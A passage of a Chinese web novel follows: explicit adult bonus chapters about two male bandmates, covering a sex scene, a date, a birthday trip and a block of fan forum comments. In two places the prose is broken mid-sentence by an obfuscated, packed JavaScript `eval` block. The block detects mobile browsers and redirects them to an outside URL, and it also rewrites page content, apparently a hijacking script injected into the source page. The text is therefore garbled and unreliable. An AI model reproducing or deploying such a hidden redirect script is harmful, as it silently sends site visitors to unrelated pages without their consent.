听到迟之阳倒吸一口气,声音都变了。他忽然想到什么,笑了。 “笑什么!”迟之阳有些生气,“有什么好笑的!这、这不是正常的吗?” “没有笑你啊,我笑我自己。”严霁亲了亲迟之阳的鼻尖,身体往下,“要求别人睡素觉,自己反倒要破戒了……” “什么?唔……” 迟之阳的头猛地向后仰去,像他每次打完鼓一样,淌着汗大口喘气。 只是现在的他唯一能抓住的,不是鼓棒,是严霁的肩膀。 “迟之阳,要试试验货吗?” 他在即将攀至顶峰时忽然被按下暂停,难受得快死了,人都懵了:“验货?” 严霁轻轻握着,晃了晃,低头吻上他胯骨内侧的皮肤。 “试试我行不行啊。” 47. 恒星时刻严迟番外(八) 没等迟之阳回答,严霁也不急。胯骨、小腹、肋骨,一路向上,轻轻柔柔地落下连绵的吻,直至侧颈。他一边亲吻,手上也没停下来半分。 黏糊的水声和严霁低沉的声音一起钻到迟之阳耳朵里。他抓着床单和严霁的手臂,整个人扭得快侧转过去,躲都没处躲。 “要是你还没准备好。”严霁吻了吻他的耳廓,“下次……” “不要。”迟之阳拼命忍着,摇头,转过脸和严霁接吻,“不用准备,就这次……” 他嘴上说得厉害,其实人都快热得冒烟了。本来就禁不起激的脑袋这时候更是被欲念冲刷成一片空白,只感觉严霁的手渐渐放缓,停下来,拿起手故意给迟之阳看自己的手心。 迟之阳还在大口喘着气,一瞧见差点儿呛得咳嗽,立刻起身想抽纸,谁知严霁全抹在他身上。睡衣早在不知不觉间被解了扣子。 “烦死了,我才洗的澡!”迟之阳脸还是红的,眼睛很亮,不轻不重地推了严霁肩膀,更像是撒娇。 “没事儿,等会儿再帮你洗一次。”严霁沉下身子,温柔地边吻边哄人,“我抱着你去。” 到这一刻迟之阳都还没发现,这压根儿不是验货,是彻头彻尾的引诱。 尽管从交往的第一天起他就想过这种事,可也仅限于和梦到的内容做对比,毕竟迟之阳没半点经验。他晕晕乎乎地承受和接纳严霁的吻、他温柔又真诚的低语,他的体温和轻抚,这些简直比梦还要美妙。 直到他听见包装被拆开的声音,才迷糊地摸到了现实的边界。 严霁的温柔几乎是磨人的,把循序渐进贯彻到极致,不疾不徐,一点一点进攻,让他适应。可偏偏迟之阳是个急性子,被他磨得难受极了,恨不得自己上。 “快点儿,你真的好烦啊……”迟之阳的声音都变得黏腻起来,但还是着急嗔怪的语气。 “这么急?”严霁语气里带着似有若无的笑,拉过迟之阳的手扶住,“那你帮我吧。” 碰得的瞬间,他好像是被什么狠狠烫了一下似的,吓得差点儿缩回去,但手腕被牢牢地攥住了。没办法,只能硬着头皮上了。 “看准点儿。”严霁低头盯着,轻声笑了,“这是往哪儿去啊。” 迟之阳气得松手,面红耳赤,只想破口大骂:“你!你自己……” 剩下的话没能正常地骂出来,变了个调,他脑子都懵了,头差点儿撞上床头。可一只宽大的手伸过来,挡在中间。另一只手则抓住他的腿,往下拽。 “下来点儿,别撞着了。” 嘴根本不受自己控制了,迟之阳只能在心里骂他。 讨厌鬼,坏透了! 严霁的温柔和坏是并存的。他总是在最紧张的时候停下来,观察迟之阳的反应,然后又突然下狠劲儿,毫无防备。但无论什么时候,他都会盯着迟之阳的脸。 这实在是太让人难堪了。迟之阳脸皮本来就薄,因此总是用手把脸挡住,小声念叨“不许看我”。 “为什么?”严霁干脆把他的两只手都拿下来,并好,攥在自己手里。两条常年打鼓的手臂被笔直地固定着,晃动时会绷紧,肌肉线条流畅又漂亮。 迟之阳侧过脸,快哭了:“别看,好奇怪……” 严霁叹息着笑了一下,攥着他的手臂直接将人带起身:“乖,起来。” 迟之阳散乱的头发都炸开,台灯下几乎透明,辫子也全都磨得散开了,他被拉起来,被严霁面对面抱在怀里搂着,一直忍着的眼泪忽然就真的落下来了。 “怎么哭得这么好看?像珍珠一样。”严霁腾出一只手捧着他的脸颊,拇指拂掉泪珠,亲了亲他柔软的嘴唇,“宝宝,你怎么这么漂亮?是人鱼公主吗?” 听到这个称呼,迟之阳都愣住了,傻掉似的,眼睛都不眨。过了一秒,被顶得反应过来,气性又上来,打了严霁一下,骂道:“你乱叫什么啊!” “你说哪个?公主?还是宝宝?”严霁笑起来眉眼弯弯的,满脸溺爱,看表情根本看不出他在做多混账的事。 “你就是我的宝宝啊,小宝。” 他吻着迟之阳,小声坦白:“我经常在心里叫你小宝,叫了很久很久了。” 什么啊!谁允许了,我这么高这么帅一架子鼓手,谁让你这么叫我了! 就在迟之阳害羞到想再发脾气的时候,严霁忽然凑到他耳边。 “迟之阳,我好爱你。” 他彻底没脾气了,鼻尖一酸,又不争气地掉了眼泪。 面对严霁他根本发作不了,完完全全被拿捏。迟之阳很别扭,喜欢被夸,又不想让别人看出来。偏偏在这种时候,严霁用最柔软的语气夸他“可爱”、“漂亮”、夸他“很厉害”…… 话多的讨厌鬼。 可身体是诚实的,被夸奖的迟之阳软成了一滩水,几乎飘飘欲仙。 到后来几乎快要昏迷的时候,严霁还是没放过他,逗小孩儿似的说些有的没的,比如“在说什么?大声点儿宝宝,听不清啊。”,又或者在贴上迟之阳的后背时故意问“我是谁啊?看得见吗?” 迟之阳含混不清叫他的名字,谁知道严霁竟然还说“不对”。 你不叫严霁叫什么!迟之阳急得想哭。 怕他跪久了膝盖磨红,严霁将人放倒,胸口紧紧贴着迟之阳的背脊,,手从肋骨处往上,握住他的下巴,坏心眼地诱哄:“我是你的什么?都这样了,总得给我一个身份吧?” 最好别说是队友。严霁在心里想,否则他真的会忍不住下狠手的。不过他大概能猜到迟之阳会说什么,八成是红着脸说男朋友。 很快,折磨之下,他听到了迟之阳的答案,喘着气,很小声。 “哥哥……” 迟之阳说完,感觉身后的人停下来,还以为说错了,但很快他就知道,是自己的判断失误。 后来他被哄着喊了好多次,果然没有一个年上男能拒绝这种称呼。想到这,迟之阳还略微有些得意,感觉自己也拿捏了严霁一次。 他决定以后要多叫,但是绝对不能随便开“不行”的玩笑了,上了贼船之后不停说“不行”的人只有自己。 结束之后,严霁没有立刻抱他去洗澡,而是将人搂在怀里,轻轻地抚摸他炸毛的头发、汗津津的后背,轻轻地吻他的发顶。 “有没有哪儿不舒服?”他声音很低,“有的话要及时告诉我哦。” 迟之阳不吭声,搂着严霁的后背不撒手,埋在他胸口摇头,过了几秒,又咬了咬他的胸口,小声抱怨:“刚刚说了停你也不听我的啊……” 严霁笑了,仿佛很无奈似的:“我停了呀。” “你……” 你停了倒是出去啊!迟之阳在心里骂骂咧咧。 “想不想喝水?” 迟之阳别扭着抬起脸,小声说:“想亲……” 严霁笑着吻他,边吻边揉着迟之阳的腰,亲完又开始甜言蜜语:“怎么这么好亲?” “别说了……”清醒的迟之阳害羞程度加倍。 但他不得不承认,每听一遍都很喜欢,很幸福,有种特别真实地被爱着的感觉。 他不希望只有自己有这样的感觉,所以学着严霁的样子,凑到他耳边,小声说:“你也很好亲,很厉害。” 严霁愣了一下,被他逗笑了,“真的?” “嗯。”迟之阳仰起脸,冲严霁比了个大拇指,“非常行。” 严霁笑得有些无奈,甚至产生了想要咬他脸蛋的奇怪想法。 怎么会有这么可爱的小东西? “盯着我干嘛?”迟之阳又开始不好意思起来,于是有些霸道地下命令,“抱我去洗澡。” 严霁笑着说“好”,又补充道:“公主抱。” 再度回到卧室的迟之阳困到睁不开眼,喝了一杯热蜂蜜水,依偎在严霁怀里很快就睡着了。一晚上他都是被抱着的,面对面或是从背后,每当分开,又会很快地抱在一起,像是两块分不开的磁铁一样。 早上他感觉严霁起床了,也感受到他落在自己额头的吻,可根本睁不开眼,只是伸手抓了抓,本以为会扑空。谁知严霁的手握上来,主动地捏了捏迟之阳的手指,一直到指根。 他声音很低,像是自言自语,模模糊糊传到迟之阳半醒的耳朵里。 “小宝又长新的茧了……” 手被拉过去落上一吻。 没过太久,严霁端着早餐进来,是北非蛋。闻到香味,迟之阳懵懵地爬起来,一头白毛睡得乱七八糟。浑身酸得厉害,他趴在床边把早餐吃完了,又蒙着被子睡了个香甜的回笼觉。 等再次醒来时,南乙和秦一隅已经不见了。 “他们呢?” “好像约会去了。”严霁笑着说,“很开心的样子。” “约会……”迟之阳伸了个大大的懒腰,忽然反应过来,“约会!??谁和谁?” 啊,差点儿忘了这个被蒙在鼓里的鼓手了。 严霁笑着过去,搂住他的腰:“开玩笑的。” “真的?”迟之阳眼神很警惕。 “当然。”严霁抬了抬眉,轻声说:“该约会的是我们呀。” 迟之阳注意力被瞬间转移,有些幸福地睁大了眼,嘴上又装矜持:“啊?今天?这么突然啊。” “就是今天。”严霁笑着,掐了掐迟之阳的下巴尖,“第一次,不值得纪念吗?” 迟之阳后知后觉反应过来,严霁已经转身进去换衣服了,他跟在后头,对着他的后背小声骂人,直到看见他的背肌,才突然又嘴巴打结,差点下意识背转身。 不对,我转身干嘛?我什么没看到过? “想什么呢?”严霁换完上衣,走到迟之阳面前,低头亲了亲他抿着的嘴唇,低声说,“松开。” 迟之阳脑子里揣着别的事,听到指令就乖乖松开嘴唇。 严霁又亲了一下:“嗯,这样比较软。” 他别扭地别开脸,才发现严霁已经把他出门要换的衣服放在床上,是新买的,还叠得整整齐齐,最上面是给他搭配好的帽子和项链。这些小细节令迟之阳有种被照顾的感觉,从小到大,没有人这样对待过他。 以前他听南乙说,过年的时候,大年初一的早上,他的妈妈会把买来的新衣服成套准备好,放在他卧室里,等他醒了直接换上去拜年。那时候迟之阳羡慕极了。 “好像过年哦。”他下意识嘟囔出声。 严霁不明白他的意思,只是从背后搂住他,哄小孩儿似的:“要我帮你换吗?” 迟之阳立刻拒绝:“不要!” 我又不是你的小手办。 出门时他拉着严霁在电梯里一起对镜子拍,都这样了也没发现他们的衣服是同一个品牌,因为款式是他们各自习惯的风格。 “舒服吗?”严霁帮着理了理衣领。 或许是因为这句话在昨晚出现的频次实在有点高,迟之阳条件反射地跑偏,清了清嗓子,“还、还行。” 严霁很快领会到,笑着抬手轻轻敲了敲他的脑袋:“想什么呢?小色鬼。” 迟之阳急了,破口大骂:“放屁!你才是小……” 谁知电梯门好巧不巧打开,门外还站了好几个等电梯的人。迟之阳立刻噤声,耳朵光速红了起来,假装无事发生,扭头看电梯里的广告。 所有人都进来,严霁悄悄牵起他的手,低头凑过去问:“你不是验过了吗?” “啊?”迟之阳一脸莫名。 “不小吧。”严霁的声音很低,带着笑。 迟之阳很想一怒之下狠狠踩他的脚,但最后还是停留在脑子里。 怎么会有这么无耻的人!每天还装得这么正经! 太过分了。他恨不得把冷帽拉到最下面,完全套住自己的脸。 北京的交通一如既往地拥堵,迟之阳把歌单换成严霁喜欢的,观察他的反应。 他之前查过,焦虑症患者在堵车时很容易感到心慌。但严霁之前在他面前都伪装得很好,一点也看不出来。 现在他仔细观察,发现似乎是有一点,严霁在焦虑时会表现得比平时沉默,不会找话题聊天,偶尔会下意识皱眉。 “严霁。” “嗯?” “新的房子你不是自己在网上挑好了几套?想买在哪儿啊?”迟之阳左手手肘撑在中控,身体朝他倾着,“想好了吗?” “大概率会买在金融街附近。”严霁沉声说。 “你都不干这行了,还买在金融街啊?”迟之阳笑了,可笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727055|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着忽然一顿,意识到什么,“等会儿,那不是就在我学校旁边吗?” “嗯,故意的。”严霁随口说完,降下车窗。 迟之阳很惊喜,靠得更近了,捏了捏他的手臂,“真的呀,那儿房子好贵。” “决赛之后,能不能拿到奖金另说,反正签约了应该也有一笔不错的费用,之前那套也涨了不少,应该是可以覆盖的。”严霁说的时候始终盯着糟糕的路况,“虽然每次开车去找你都很期待,很开心,但北京堵车是常态,一堵起来就会担心,会不会让你等太久,不自觉地就开始焦虑。” 迟之阳瘪了瘪嘴,心疼得摸了摸他的手臂:“我不怕等啊,我喜欢等你。” 严霁侧过脸对他露出笑容,往前开了一些,继续说:“我对中介说我的对象在音乐学院上学,他听了,给我推了一套,说这套房子很新,各方面都不错,关键是开车过去只要十分钟,我就心动了。” 迟之阳觉得心动的人好像是自己。明明只是听他说这些很寻常的话,却莫名其妙心跳加快。 “你对我真好。”他靠在严霁的肩上,蹭了蹭。 “因为你很好啊。”严霁温声回应。 抵达餐厅的时间比预计的晚了半小时,严霁心情不算太好,可刚停好车走出来,迟之阳就绕到这边抱住关上车门的他。 “谢谢你,开车辛苦啦。”迟之阳抱得很紧,脸贴在他胸口,“我好喜欢坐你的车,你开车很稳,一点也不会晕,车里香香的,堵车我都喜欢,因为可以和你说很多话。” 严霁心里一动。感觉这个小傻子好像真的在很认真地搬开他胸口的大石头,吭哧吭哧的。 “吃什么?我们快上去吧,饿死了。” “吃西餐。” “啊?” 等来到餐厅门口,迟之阳还有些别扭地凑到严霁耳边小声问:“这不会是你和汪琦约会来的那家吧。” 严霁有些无奈,第7次严正声明:“不是约会,而且也不是这家。那次去的地方是他选的。” “好吃吗?” “其实一般。”严霁很公正客观地评价,又自卖自夸,“我选的这家羊排很不错。” “羊排?”迟之阳故意瞪他。 什么意思?晚上吃了白天吃是吧,逮着羊薅呗。羊的天敌,羊的克星! 严霁笑着点头,“甜品也不错,我还预订了靠窗的位置,景色很美。” 在服务生的引导下,他们面对面坐下。餐厅环境的确非常好,灯光不是太亮,配合桌上的鲜花和现场演奏的爵士乐,氛围很浪漫,是迟之阳过去从来不会踏足的地方。 “你对这儿这么了解,之前和谁来过?快老实交代。” “自己来的。”严霁耸耸肩,“每天吃鸡胸肉的减脂人偶尔也要吃顿欺骗餐犒劳一下自己吧,不然多可怜。不过现在好了。” “有我陪你是吗?”迟之阳很兴奋。 谁知严霁却一本正经道:“不是,现在练的肌肉有人看了。” “你怎么……” 这么不正经啊! 餐点一道道上来,迟之阳不习惯法餐的上菜节奏,但他不是挑食的人,吃得也很香。牛排和小羊排送上来的时候,严霁都会帮他细心切成好入口的大小,再换到他面前。 他发现严霁格外爱看他吃饭,好像很有成就感似的。 “这个好好吃!”他把自己盘子里的香煎扇贝肉叉起来,想弄到严霁的盘子里,可刚伸过去,手腕就被捉住。 严霁握着他的手腕,牵引着他的手,将叉子送到自己嘴边,吃掉了那颗扇贝。 “好吃。”他慢条斯理地吃完,笑了笑,“谢谢小阳老师。” 迟之阳看了看四周,非常担心会被人看到,以至于后面的饭都吃得紧张兮兮。 过了一会儿,严霁忽然起身道:“我去趟洗手间,甜品一会儿就上了,你先吃。” “哦。”迟之阳乖乖点头。 一如他所说,甜品没多久就送上来,非常精致,最下面是奶酪雪芭,上面堆满了鲜花和各式各样切得精致的水果。他总觉得眼熟,反反复复地看,猛然领悟。 这不就是精致加迷你版的冰冰凉凉百果山吗! 他决定要等严霁一起吃。刚这么打算好,迟之阳的职业病忽然犯了,他发现餐厅里一直演奏的爵士乐停了下来。 为了保证流畅性,通常切换曲目不会停太久,他想,或许时间到了乐手也要休息了。 但很快,他听到钢琴的独奏。音符流淌出来的瞬间,他意识到这是谁的演奏风格,于是抬起头,循声望去,想要验证自己的猜想。 果不其然,在烛光与鲜花之后,影影绰绰的灯光下,严霁坐在餐厅正中间那家黑色三角钢琴前,低着头弹奏着。尽管没学过古典钢琴,但迟之阳高中时经常路过琴房,这首他听过,很喜欢,是肖邦第一协奏曲。 餐厅里几乎所有人都被这段独奏吸引,纷纷望过去,甚至有人拿出手机录下视频。迟之阳却什么都没做,安静地望着,因为他并不担心这一刻流逝,他知道严霁是他的,只要他想听,他还会为他弹很多次。 音符如流水般落下、流逝,就在众人都沉浸其中之时,严霁却忽然收了手,在尾声中随意地弹了几个没意义的音,气氛忽然变得俏皮,而他再次抬手,跟着被演奏出来的,却不是优雅的古典钢琴曲了。 迟之阳听了一会儿,忽然愣住。 竟然是蜡笔小新的主题曲旋律。原本吵闹的儿歌,被他弹得格外动听。 面颊开始发烫,直到严霁起身,微微鞠躬,在众人的目光下朝他走来,迟之阳都没能完全回神。 严霁笑着问:“甜品怎么不吃?等我吗?” 迟之阳呆呆地点了头,又反应过来,故意说:“谁让你去搞小动作了,都要化了。” “可以再点啊。”严霁声音很轻,若无其事地说,“可惜这里不能打架子鼓,只能弹弹无聊的钢琴了。” 两秒后,迟之阳忽然涨红了脸,差点拍桌子:“你!你怎么……” 严霁拿起自己的杯子,和迟之阳的碰了碰,当的一声,很清脆。然后他笑着,语气温温柔柔。 “祝福我们以后的生活和小阳老师的鼓一样,激情四射。” 48. 恒星时刻严迟番外(九) 大年初一的早上,第一次和喜欢的人单独过年的迟之阳,在醒来之后,看到早餐边多了一张打印出来的空白表格,标题写着——有关迟之阳的一切。 迟之阳坐下来,一边吃酸奶碗一边认真看,看着看着,就开始填写。 [我最喜欢的颜色]、[最讨厌听到的话],[一直想去但从来没有去过的地方]、[我最恐惧的事情]、[最喜欢听见的夸奖]、[最担心发生的事]、[最想改变的地方]、[最令我放松的时刻]…… 翻过来竟然还有,只不过内容更亲密,例如[最喜欢什么样的拥抱]、[亲密接触时会抗拒怎样的举动]、[累的时候需要怎样的安慰]…… 到现在他才知道,前几天的严霁在对着电脑忙什么,还以为是在编曲。 没等他写完,严霁也晨跑完回来。 “我回来了。” 迟之阳立刻放下笔,跑去玄关抱他。两人一起回到客厅,一起坐在餐桌上认真填表。这时候他才知道,原来严霁也有一张他自己的表格。 “我头一次这么认真地写问卷调查。”迟之阳伸了伸懒腰,靠过去搂住严霁的脖颈,“这是要干嘛?” 严霁微笑着,将自己的和迟之阳的交换了。 “开启新的人生计划。” “什么计划?”迟之阳眨眼。 严霁思考片刻,临时起了个名字:“把我们重新养一遍的计划。” 起初迟之阳并没有非常在意,毕竟他是个无论什么时候制定计划,最终都会因为三分钟热度而失败的人。但渐渐地他发现,严霁是很认真的。 就算工作再忙,乐队排练到深夜,他也会带着迟之阳完成一件“他喜欢做”的小事,也会在迟之阳开始过分自省时,及时对他喊停,告诉他,不要对自己那么苛刻。 人生中第一次感受到被“养育”,竟然是从恋人身上获得的,迟之阳觉得有些奇怪,但更多的是幸福。 他也想让严霁感受到这种幸福,所以每隔几天都会看一遍[关于严霁的一切],将上面坦诚写下的点点滴滴,都编织在日常生活的细节里。这令他有种莫大的成就感。 爱人比被爱更满足。 开春天气变暖,一个寻常的早上,严霁起床后发现枕头边出现了一个巴掌大的米白色皮面小本子。 他没戴眼镜便翻开第一页,眯着眼,看到迟之阳手写体的瞬间就笑了。 [书上说,只有正视并重视自己的负面情绪,才能缓解焦虑。] 书? 严霁想起来,这段时间迟之阳的确是在读书,这倒没什么稀奇,最奇怪的是,他是躲着读的。 原来是为他读的。 [严霁同学,这个小本子请你随身携带,一旦你聪明的脑瓜里突然冒出负面情绪,就马上写下来。记得把它带回家,每天小阳老师都要检查的!] [请你务必好好完成这个每日记录计划,每写一张,小阳老师都会给你奖励!Don’t worry!Love U!] 最下面还有手绘的蜡笔小新。 短短一页纸,严霁看了又看,十分钟后拿起床头柜上的笔,伏在上面快速写下一行字,接着立刻钻回被子里闹还没醒过来的迟之阳。 “干嘛啊……”迟之阳被他亲得有些难受,人还困着,躲也没力气躲,“今天没早课,我还要睡……” 严霁从背后搂着他,亲了亲他的后颈:“小宝,给我奖励。” “什么奖励啊?”迟之阳迷迷糊糊,没明白过来,缩进被子里想继续睡,可刚进去没多久,忽然清醒,白蘑菇似的猛地钻出来,眼睛也睁大了,“你在小本子上写东西了?” 严霁笑着点头:“对啊。” “给我看看!”迟之阳立刻把手从被子里伸出来。 他趴在床上,兴奋地翻开第二页,果然是严霁的字迹。 [看到你睡得这么香,想陪着你赖床,但是心里又觉得这样不好,很没有自控力,所以还是起来了,心情不算好。] 迟之阳没想到他真的写了,还是这么认真地对待自己的要求,这么坦诚。 他合上本子,搂住了严霁的脖子,超级响亮地在他的脸颊上亲了三下。 “你太棒了,我好喜欢你。”迟之阳的眼睛格外明亮,“想要什么奖励?我可以陪你起床去跑步!” 严霁笑了,摘了眼镜,把被子拉到头顶:“那还是一起再睡会儿吧。” 后来的每一天,迟之阳最期待的事就是在晚上检查严霁的情绪笔记本,看到这些文字,他才知道,原来严霁每天都不快乐。 但他并不害怕严霁的负面情绪,反而为此感到踏实。因为他终于可以了解严霁会因为什么而沮丧、焦躁和不安,才能好好地纾解他的不愉快,给他奖励,让他开心起来。 这的确是个作弊的笨办法,但很奏效。 第十五天,迟之阳参加学校的民打演出,忙了一整天,晚上十点多才回家,他第一时间就钻进卧室,找床头柜上的本子。 严霁在洗澡,他坐在沙发上,深吸一口气,翻到最新一页,却愣了几秒。 [今天没有不开心,只是很想你。] 四月份,恒星时刻忙着新专的工作,四人连续在公司睡了好几天,忙得脚不沾地,迟之阳直接忘了时间,在录音室外面的小沙发上打瞌睡,结果刚睡着没多久,忽然被摇醒,还以为是轮到自己录鼓了,眼睛还没睁开就开始找鼓棒。 “哎我鼓棒呢……” 还没等他反应过来,头上忽然被套了个什么东西,迟之阳莫名睁开眼,看见南乙手里拿着花,秦一隅背着吉他,严霁则端来了插好蜡烛的蛋糕。 由于秦一隅的吉他是插电的,迟之阳听到了有史以来最摇滚的生日快乐歌。不知道他在燃什么。但今天是生日,迟之阳决定大度地原谅他。 在其他三人和工作人员的鼓动下,迟之阳睡眼朦胧地再次闭上眼,戴着歪歪的生日帽,贪心地许了好几个心愿,然后睁开眼,一口气吹灭了所有蜡烛。 “谢谢大家给我准备的惊喜!” “这才哪儿到哪儿啊。”秦一隅笑着,朝严霁使了个眼色,“快,给咱咩咩上第二波!” 南乙皱眉:“这和计划的不一样吧。” 严霁也有些无奈:“不是说好等白天了再说的吗?不然他一会儿又不好好睡觉了。” “什么什么?快说!”迟之阳急得拉住严霁和南乙的胳膊,一边一只,晃个不停,“快说呀,不说我今晚也不可能睡着的!” 两个嘴严的不肯说,逼着迟之阳吃完蛋糕睡觉,灯一关,等他们睡着,迟之阳拉开睡袋拉链,小豆虫一样挪到秦一隅专属带闪粉的亮闪闪睡袋旁边。 “到底是什么惊喜?” “卧槽你吓死我了。”秦一隅一睁眼,又立刻闭上,“你这白毛夜里还发光啊!” 迟之阳压低声音:“明明是你的睡袋在发光!还有你那破表,我都不想说!” 两人差点儿吵起来,吵一半迟之阳想起正事儿,才意识到自己是要来刺探军情的! 最后他以南乙小学.运动会的照片作为交换,提前得知了惊喜。 “游乐园??!”他压着声音尖叫,又怕吵醒严霁和南乙,只能抓着秦一隅的肩膀猛晃,晃得秦一隅一阵阵干呕。 “我要吐了。” “离我远点儿别吐我身上!” 迟之阳兴奋得睡不着,跑到排练室猛猛练鼓。 他们的北环一日游被不少乐迷偶遇,一路上走走停停,合照都拍了不少。许多乐迷发在网上,专楼一下子热闹起来。 [哎我这周也要去北环的!但是是周末,好气!] [唉哟今天能看到自拍吗?你们四个的微博是真的几乎不营业的,想饿死谁?] [呜呜呜海鲜烧烤租了魔法袍!好适合!] [真的???什么院的?] [奶油穿的是蛇院,轻音乐是狮院,daddy是鹰院,咩是獾院!] [竟然完全不ooc,每一个人都契合得惊人,同人老师们又有的忙了] [突然想起咩今天生日诶,是为了咩一起去的吧,四人约会好幸福哦] [咩跑去排队和罗恩的车拍照了,趴在车上可爱得要死,还让奶油老师和他一起趴,奶油老师第一反应是扭头去看daddy,想推他去,笑死] [奶油老师不是推给严雨齐,是看daddy眼色吧哈哈哈!] [好的最后是死敌鲜组一起拍了,秦一隅还想叠叠乐,被咩大声骂有病,笑得想死真的] [呜呜呜竹马组一个背无牙仔的背包一个戴无牙仔头套,可爱死了] [后面还跟着两个给他们拍照的矿工,更可爱了!] [求求了daddy能不能在吃饭的时候给戴无牙仔头套的咩拍个照?网上有教程拍了发微博求您了赏口饭吃好不好!] [反正qyy已经拍了,发了18张张张都是奶油,演技你看着办吧,给我卷起来!] [排队的时候有姐妹当面开大,问他们“首专在哪里”,结果四个人都同时指天,那个姐妹说:“你们什么时候变得这么有默契了!说好的塑料乐队呢?”] [做多了是这样的()] [我去我真的要笑死了,秦一隅从包里拿了一张纸,上面写了“我今天生日,请给我祝福,拜托拜托”。他给了小乙,让小乙偷偷贴到了咩的魔法袍背后!然后从后面往前走的人路过咩都会对他说生日快乐,给孩子整懵了。] [给奶油老师贴是因为自己近不了咩的身吗轻悠悠?] [啊看到视频了,咩还拉严老师的袖子,小声问他怎么大家都知道我今天生日,严老师居然笑着说“不知道呀,没准儿是认识你,喜欢你所以知道吧。”] [真的好会哄孩子] [好幸福啊,看得我嘴角上扬,人生视频加一] [排落日飞车的时候有妹子站在咩后面,夸他发质怎么比之前好那么多,顺顺亮亮的,一直漂染都保养得这么好] [之前咩的头发很容易炸毛的吧,比赛的时候经常找奶油哭诉自己头发断掉了] [她问咩怎么保养得这么好,用了什么发膜,咩居然支支吾吾答不上来,一直瞄严老师] [真的,不如直接问daddy,脚指头想也知道是daddy养好的,咩啥也不知道] [daddy真的把小鼓手养得很好] [他俩住一起了吗?我只知道秦南自乙疑似同居了,被拍到好几次,咩和严老师也一起住了?] [早一起住了,咩参赛前有个发他打架子鼓的视频账号来着,也有好几万粉丝,后来CB期间停播了,但是因为手背纹身很多人认出他来了,账号涨粉特别多,后来第一期复更大家就发现他背景变了,好像是搬家了,后来他开了场直播,打鼓的时候有人敲门进来,在他旁边放了一杯牛奶,看手和手腕的白色橡皮筋,还有睡衣袖子的花纹,大家就扒出来是严霁了,弹幕当时就有人说,咩吓得直接下播了] [别提了,咩之前的招募帖都被翻出来了,下面还有疑似严老师的小号,咩标题写着招吉他手,他一个键盘手跑去留言,还说很喜欢他打鼓的风格,真的很明显诶] [所以真的是daddy先爱上的,妈呀好好磕] [海鲜烧烤主打一个风味俱全,路过的狗都得来磕一口] [啊严老师微博营业了,发了他们四个坐落日飞车的视频!好美好梦幻!] [雨齐和奶油两位老师淡定得要命,镜头一转到鲜组,简直是吱哇乱叫手脚乱飞,好热闹的两个E人] [不知道的以为“成人组”是他们俩带的安抚挂件,吓到了立马抱住,你们鲜组又幸福了] [好漂亮的落日哦,想到CB的日出了,呜呜呜想念大家,下次CB集体来团建吧!] [哇姐妹们!拉到视频最后调最大声,能听到严雨齐说生日快乐!] [他说的好像是“生日快乐小宝”??] [果然!!上次有人看总决赛花絮,双子背后的严霁正在给咩理头发,好像是这么叫了(看唇语),当时还说是cp脑!就是这么叫的!] [你们海鲜烧烤的1真的,一天天对着两个又潮又高的大帅哥叫宝宝,两位年上男别太爱了] [晚上不会就在附近酒店睡了吧?祝你们四个睡得愉快!咩咩生日夜要睡得幸福(妈妈的祝愿)] 当事人此时此刻的确在酒店,但喝得半醉,面红耳赤地和秦一隅为游戏的输赢吵架,吵到一半被严霁强制性抱回自己房间,放到床上。 “干嘛?你也帮着他!”迟之阳打了一下严霁的肩膀,“今天我是寿星,你要帮也是帮我啊!” 严霁笑了,眼神专注地盯着迟之阳迷离的双眼,没说话,只是俯下身温柔地吻他,舔他小小尖尖的牙齿,尝他嘴里红酒的余味。而迟之阳习惯地闭上眼,感受严霁吻下来时鼻梁的形状,他长长的、温热的手指、轻扫在自己眼睑的睫毛,还有越来越重的呼吸。 迟之阳本来就醉得有些头晕胸闷,此刻更是被严霁亲得喘不上气,心脏砰砰直跳。 “我心跳得好快。”他把严霁的手拉过来,覆在自己胸口,“你摸……” “嗯。”严霁没有认真感受,反倒顺着亲下去,吻了他和自己交叠的手,接着是按在手掌之下的部分。听到迟之阳的哼哼,又把他的手拉过去,放在自己胸前。 于是一切很快地失去控制,吻和触摸都不再温柔。 不知道是不是喝多了,迟之阳变得格外主动,小猫似的伏在他身上,但脑子是钝的,所以动作也很慢。他左手抓着严霁扶住他的手臂,另一只手则在他胸前,没消停过。 对此他回味起来,仿佛还挺骄傲,仿佛认定自己技巧出众似的,被严霁放倒躺下来时还一直问“舒不舒服”,“我揉得好吗?” 严霁实在没忍住笑了,奖励似的亲了亲他滚烫的脸颊,“嗯,挺好的。” 迟之阳肉眼可见地得意起来,笑得有些傻气,一顶又拧眉,拿手挡脸。 严霁低头吻他的手心,那上面还贴着创可贴,是练鼓的新伤。 “像小猫踩奶。”怕迟之阳生气,这一句他说得特别小声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727056|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但迟之阳还是听见了,冲他发了好一通脾气,虽然最后也被折腾得顾不过来了。 泡澡时,迟之阳趴在严霁胸口眯了一会儿。看他这么困,严霁还想直接帮他擦干,抱回去睡觉,谁知没多久,迟之阳忽然精神起来,好像脑子里装了个闹钟似的。 “我有东西要给你。”迟之阳飞快穿好浴袍,“你等一下再出来。” “什么东西?” “礼物呀。” “哪有寿星往外送礼的?” “你别管了。”迟之阳本来也已经拉开门出去,又返回来,门缝里塞进来一颗白花花的小脑袋,“你都给我写歌了,我回礼不行吗?再说不给了!” 砰的一声门被关上。严霁有些不明所以,但还是按他的安排,五分钟后才离开浴室。 